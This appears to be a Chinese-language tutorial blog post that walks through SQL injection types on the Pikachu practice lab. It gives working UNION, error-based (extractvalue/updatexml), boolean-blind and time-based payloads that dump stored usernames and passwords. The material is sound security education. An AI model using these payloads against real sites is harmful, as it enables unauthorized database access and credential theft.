Pikachu(二)浅谈sql注入篇
0x1
今天来浅浅的学习一下sql注入,都是一些比较基础的操作,后续也会发一些进阶的操作,真正实现从0到1,从1到N的目标。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
0x2
开始操作之前先来了解一些基本的知识点。
查库 select schema_name from information_schema.schemata
查表 select table_name from information_schema.tables where table_schema='库名'
查列select column_name from information_schema.columns where table_name ='表名'
查字段 select username,password from 库名.表名(username password为列名)
数字型注入(POST)
先来抓包看一下
先通过单引号或者and方法测试是否有注入
可以看到加了单引号之后出现了报错 也可通过and 1=1 and 1=2的办法来判断
然后来猜解一下的列数
先用order by 2#(正确)
再用order by 3#(报错)
说明可以查询两列
然后来测试回显位置 union select 1,2#
来尝试获取当前数据库名称和数据库版本
union select version(),database()#
再来获取一下表的名称union select group_concat(table_name),'aaaa' from information_schema.tables where table_schema = 'pikachu'#
来尝试获取users表的列名
union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'#
再来尝试获取username,password的数据
union select group_concat(username),group_concat(password) from pikachu.users#
成功拿到数据。
字符型注入(GET)
先输入kobe查询试试
正常显示数据。
再来加单引号 或者用过and 1=1 and 1=2来尝试让它报错
这里需要注意的是在进行字符型注入的时候需要想办法闭合然后再来尝试进行注入 (#用来注释)
这里用and方式来判断
kobe' and 1=1#(正常)
kobe' and 1=2#(报错)
判断存在注入。
剩下的操作和上面数字型的基本一样,略过前面的步骤直接用最后一步的payload来尝试注入
windsss' union select group_concat(username),group_concat(password) from pikachu.users#
成功拿到数据
搜索型注入
老规矩,先输入正常kobe来看看
再来尝试报错看看提示什么
本关是搜索型注入,常见的是使用like进行查找搜索
猜测数据库的查询语句为:select * from 表名 where username like '%$name%' 再加上报错的信息基本可以构造出闭合的payload
省略中间步骤,详情与第一关的基本相同,直接构造读取数据的payload:
windsss%' union select group_concat(username),group_concat(password),'abccc' from pikachu.users#
成功拿到数据
xx型注入
所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)
这里我们直接来尝试报错看看
根据报错大概猜到查询语句
select * from users where username = ('$name')
尝试闭合 然后构造payload即可
windsss') union select group_concat(username),group_concat(password) from pikachu.users#
成功拿到数据
"insert/update"注入
着重分析insert,insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。
来到注册账户这里
尝试加单引号让它报错
看到报错信息 猜测大概的执行语句为:
insert into users(username,password) values('$username','$password');
现在已经确定可以注入 可以用extractvalue或者updatexml 来进行报错注入
这里我就用extractvalue来进行操作,先来了解一下extractvalue()。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
能够用于注入是因为,当xpath不符合语法时,该语句会报错 XPATH syntax error : (注入信息), 故可以将待查询的信息放入xpath中,通过报错回显出来。
现在来尝试构造payload:
windsss' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
可以看到成功的爆出了数据库名
可能大家会好奇payload怎么构造出来的,接下来就分析一下payload
在上面根据报错我们大概猜测出了语句 ,然后看下图
payload分析:windsss后的单引号是在闭合前面的单引号,payload中最后一个单引号是在闭合后面的单引号,可以通过or 或者 and 的方式来进行连接,而在extractvalue()中有两个参数第一个参数任意填写即可,重点在第二个这里concat()意为返回结果为连接参数产生的字符串,0x7e为ASCII码,表示 ~
只需要替换select 后面的语句即可
省略中间过程 直接构造出读取数据的payload:
windsss' or extractvalue(1, concat(0x7e,(select group_concat(username,'~',password) from pikachu.users),0x7e)) or '
PS:insert/update注入部分存在问题,主要是sql查询语句替换后,会出错,但是能查数据库名称和版本
delete注入
先随便留言一个内容
然后抓包
在这里我们用updatexml()来进行操作
updatexml()具体使用可以查查手册 这里就不过多叙述了
直接来构造payload:
57+or+updatexml(1,concat(0x7e,database()),1)
接下来的操作与上面的类似,这里就不过多叙述了。
这里需要注意的是要把空格替换成+或者%20才行
现在几乎所有的网站都对url中的汉字和特殊的字符,进行了urlencode操作
http头注入
一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
先登录进去看看
然后抓包-点击退出
可以看到在Accept头这边加了个单引号报错 判断存在注入
这里还是接着用到报错回显
直接构造,两个payload都可以
①:1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
②:1' or updatexml(1, concat(0x7e, database()), 0) or '
接下来的操作与上面一样,不过多叙述
基于boolian的盲注
在有些情况下,后台使用了屏蔽错误方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行, 事实上, 现在很多网站也都是盲注类型。
先来输入正确的用户名查询试试
加上单引号来查询
可以看到如果语句正常返回正常信息 反之 提示username不存在
构造payload判断
kobe' and 1 = 1 # (正常)
kobe' and 1 = 2 # (错误)
在布尔盲注的过程中, 需要使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等。
比如, 假如我们要爆数据库名, 得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符。
为什么要采取这么麻烦的方式呢?
因为页面不存在报错, 无法直接通过报错+联合查询注入得知, 所以只能一点点通过页面是否正确来判断。
先来尝试爆数据库长度
kobe' and length(database())>10 # 页面错误
kobe' and length(database())>5 # 页面正确
kobe' and length(database())>8 # 页面错误
kobe' and length(database())>6 # 页面正确
kobe' and length(database())=7 # 页面正确
判断出数据库名长度为7
接下来猜解数据库名 在这里用burp来进行猜解 更方便快速一点
构造一个基础payload:kobe' and (select substr(database(),1,1))='q'#
提示不存在
然后来burp设置
将数据包发送到intruder模块
通过不断变化这两个参数 达到逐个猜解的效果
然后设置第一个参数
在设置第二个参数
记得把这里取消掉 防止再次编码
然后点击start attack
可以看到已经猜解到数据库名-pikachu
然后用length()来猜解表名的长度 由于比较简单这里就不演示了 猜解的长度为38
接下来尝试猜解表名
构造payload:
kobe' and substr((select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'),1,1)='a'#
继续上面的操作
设置第一个参数
设置第二个参数
切记因为是用逗号连接的 所以一定要加上 ','
然后点击start attack
可以看到成功猜解到表名,(不知道什么原因不能正常排序)
猜解数据的操作就不过多叙述了,操作基本一致。
(也可通过写脚本来进行操作)
基于时间的盲注
跟布尔盲注基本上差不多,但是是利用了sleep这个函数,如果成功执行了,就延时xxxx秒。
可以看到不管在这里输入什么都是一样的回显,这就是经典的延时注入。
正常查询 29毫秒
构造payload:kobe' and sleep(5)#
可以看到现在是5034毫秒 判断存在注入
大概操作与布尔盲注类似,这里就不演示了,有兴趣的可以去研究研究。
0x3
本篇文章重在讲解常见且较为简单的SQL注入,在SQL注入中可能会有各种奇奇怪怪的操作,这些就取决于你的理解,多动手,多思考,多积累,往往是通往成功的最好的方式,也欢迎擅长SQL注入的大佬加V一块学习,共同进步。